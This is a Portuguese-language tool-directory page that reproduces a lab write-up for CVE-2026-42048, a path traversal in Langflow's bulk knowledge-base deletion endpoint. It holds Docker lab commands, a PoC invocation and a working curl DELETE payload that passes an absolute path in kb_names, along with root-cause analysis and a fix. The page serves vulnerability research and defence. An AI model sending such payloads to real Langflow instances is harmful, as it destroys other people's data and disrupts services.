Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-42048 — Exclusão Arbitrária de Diretório no Langflow | Kitploit
Ferramentas/GitHubGitHub/eqstlab/cve-2026-42048
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubeqstlab/cve-2026-42048

CVE-2026-42048

Exclusão Arbitrária de Diretório no Langflow

Ver Repositório
22há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-42048

CVE-2026-42048 Langflow Path Traversal / Exclusão Arbitrária de Diretórios PoC

https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de


Descrição

CVE-2026-42048 : Vulnerabilidade de Exclusão Arbitrária de Diretórios no Langflow

descrição: Uma vulnerabilidade de path traversal no Langflow anterior à versão 1.9.0 permite que um atacante autenticado exclua diretórios fora do caminho de armazenamento pretendido da Base de Conhecimento através do endpoint de exclusão em massa, DELETE /api/v1/knowledge_bases. O problema ocorre porque valores kb_names controlados pelo usuário são usados para construir caminhos do sistema de arquivos sem validação adequada de normalização e contenção.


Pré-condições

A exploração bem-sucedida requer as seguintes condições:

  • O alvo está executando uma versão vulnerável do Langflow, anterior à 1.9.0.
  • O atacante pode alcançar o endpoint de exclusão em massa das Bases de Conhecimento:
root@kitploit:~
DELETE /api/v1/knowledge_bases
Baixar ferramenta
  • O atacante está autenticado ou pode fazer requisições autenticadas à API. Avisos públicos descrevem este problema como exigindo privilégios baixos (PR:L).
  • O atacante pode controlar o parâmetro kb_names do corpo da requisição.
  • O processo do Langflow tem permissão no sistema de arquivos para excluir o diretório alvo.

Esta vulnerabilidade não contorna as permissões de arquivo do sistema operacional. Ela abusa da própria lógica de manipulação e exclusão de caminhos do Langflow.


Configuração do Laboratório

Construa e execute o ambiente vulnerável usando Docker:

Construir Imagem

root@kitploit:~
docker build -t cve-2026-42048 .

Executar Container

root@kitploit:~
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048

Verificar Status

root@kitploit:~
curl http://127.0.0.1:9101/status

O laboratório cria um diretório alvo descartável em:

root@kitploit:~
/target/CVE-2026-42048

O endpoint /status informa se esse diretório ainda existe.


Como usar

Explorar com PoC

root@kitploit:~
python3 poc.py

Entrada interativa:

root@kitploit:~
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:

Explorar com curl

root@kitploit:~
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
  -H "Content-Type: application/json" \
  -d '{"kb_names":["/target/CVE-2026-42048"]}'

Verificar Resultado

root@kitploit:~
curl http://127.0.0.1:9101/status

Se a exploração for bem-sucedida, target_exists muda de true para false.


Análise

Endpoint Vulnerável

root@kitploit:~
DELETE /api/v1/knowledge_bases

A vulnerabilidade existe na API de exclusão em massa das Bases de Conhecimento do Langflow. O manipulador afetado aceita uma lista de nomes de Bases de Conhecimento através do parâmetro kb_names e usa cada valor para construir um caminho no sistema de arquivos para exclusão.

Em versões vulneráveis, a lógica de exclusão em massa constrói manualmente o caminho em vez de usar o auxiliar de resolução de caminho mais seguro usado por outros endpoints da Base de Conhecimento. Uma representação simplificada do padrão vulnerável é:

root@kitploit:~
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username

for kb_name in request.kb_names:
    kb_path = kb_user_path / kb_name

    if not kb_path.exists() or not kb_path.is_dir():
        continue

    KBStorageHelper.delete_storage(kb_path, kb_name)

O auxiliar de exclusão eventualmente remove o diretório alvo com lógica de exclusão recursiva. Como kb_name é controlado pelo atacante, sequências de path traversal como ../ podem escapar do diretório da Base de Conhecimento do usuário atual. No pathlib do Python, um caminho absoluto fornecido no lado direito também pode sobrescrever os componentes de caminho anteriores:

root@kitploit:~
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048

Como resultado, um valor kb_names manipulado pode fazer com que o Langflow exclua um diretório fora da raiz de armazenamento pretendida da Base de Conhecimento, desde que o processo do Langflow tenha permissão para remover esse diretório.

Este é um problema CWE-22: Limitação Imprópria de um Nome de Caminho a um Diretório Restrito.

Causa Raiz Técnica

A causa raiz é a normalização e validação de limites insuficientes dos componentes de caminho controlados pelo usuário antes da exclusão recursiva. O endpoint vulnerável de exclusão em massa verifica se o caminho final existe, mas não garante que o caminho resolvido permaneça sob o diretório da Base de Conhecimento do usuário autenticado.

Uma correção robusta deve:

  • normalizar o caminho final com Path.resolve()
  • garantir que o caminho resolvido ainda esteja dentro do diretório da Base de Conhecimento do usuário autenticado
  • rejeitar caminhos que escapem desse diretório antes da exclusão

O Langflow corrigiu este problema na versão 1.9.0.

Por que Isso Importa

A exclusão arbitrária de diretórios pode impactar diretamente a integridade e disponibilidade. Dependendo das permissões de implantação e da estrutura do sistema de arquivos, um atacante pode ser capaz de:

  • excluir dados da Base de Conhecimento de outro usuário
  • remover diretórios de propriedade da aplicação
  • interromper o estado de execução do Langflow
  • causar perda de dados ou interrupção do serviço

Este problema não requer execução arbitrária de código para ser prejudicial. A exclusão recursiva com privilégios da aplicação é suficiente para danificar dados e disponibilidade.


Cenário

root@kitploit:~
+-------------------------------------------+
|              Authenticated User           |
+-------------------------------------------+
                      |
                      | DELETE /api/v1/knowledge_bases
                      | kb_names = ["/target/CVE-2026-42048"]
                      v
+-------------------------------------------+
|       Langflow Knowledge Base API         |
+-------------------------------------------+
                      |
                      | Unsafe path construction
                      v
+-------------------------------------------+
|   Path Escapes Intended KB User Directory |
+-------------------------------------------+
                      |
                      | Recursive directory deletion
                      v
+-------------------------------------------+
|        Arbitrary Directory Deletion       |
+-------------------------------------------+

Notas do Laboratório

Este laboratório expõe um pequeno proxy de desafio na porta 9101. O proxy mantém a UI completa do Langflow e a porta direta do backend ocultas, enquanto encaminha apenas o caminho mínimo vulnerável da API necessário para este exercício.

O diretório alvo para o laboratório é:

root@kitploit:~
/target/CVE-2026-42048

O endpoint /status pode ser usado para confirmar que o diretório alvo foi excluído.


Limpeza

root@kitploit:~
docker stop cve-2026-42048

Aviso Legal

Este repositório não tem a intenção de facilitar a exploração não autorizada de instâncias do Langflow. O objetivo deste projeto é ajudar pesquisadores de segurança, defensores e desenvolvedores a entender a vulnerabilidade, validar a exposição em ambientes controlados e aplicar mitigações eficazes.


Referências

https://github.com/langflow-ai/langflow/security/advisories/GHSA-9whx-c884-c68q

https://nvd.nist.gov/vuln/detail/CVE-2026-42048

https://github.com/langflow-ai/langflow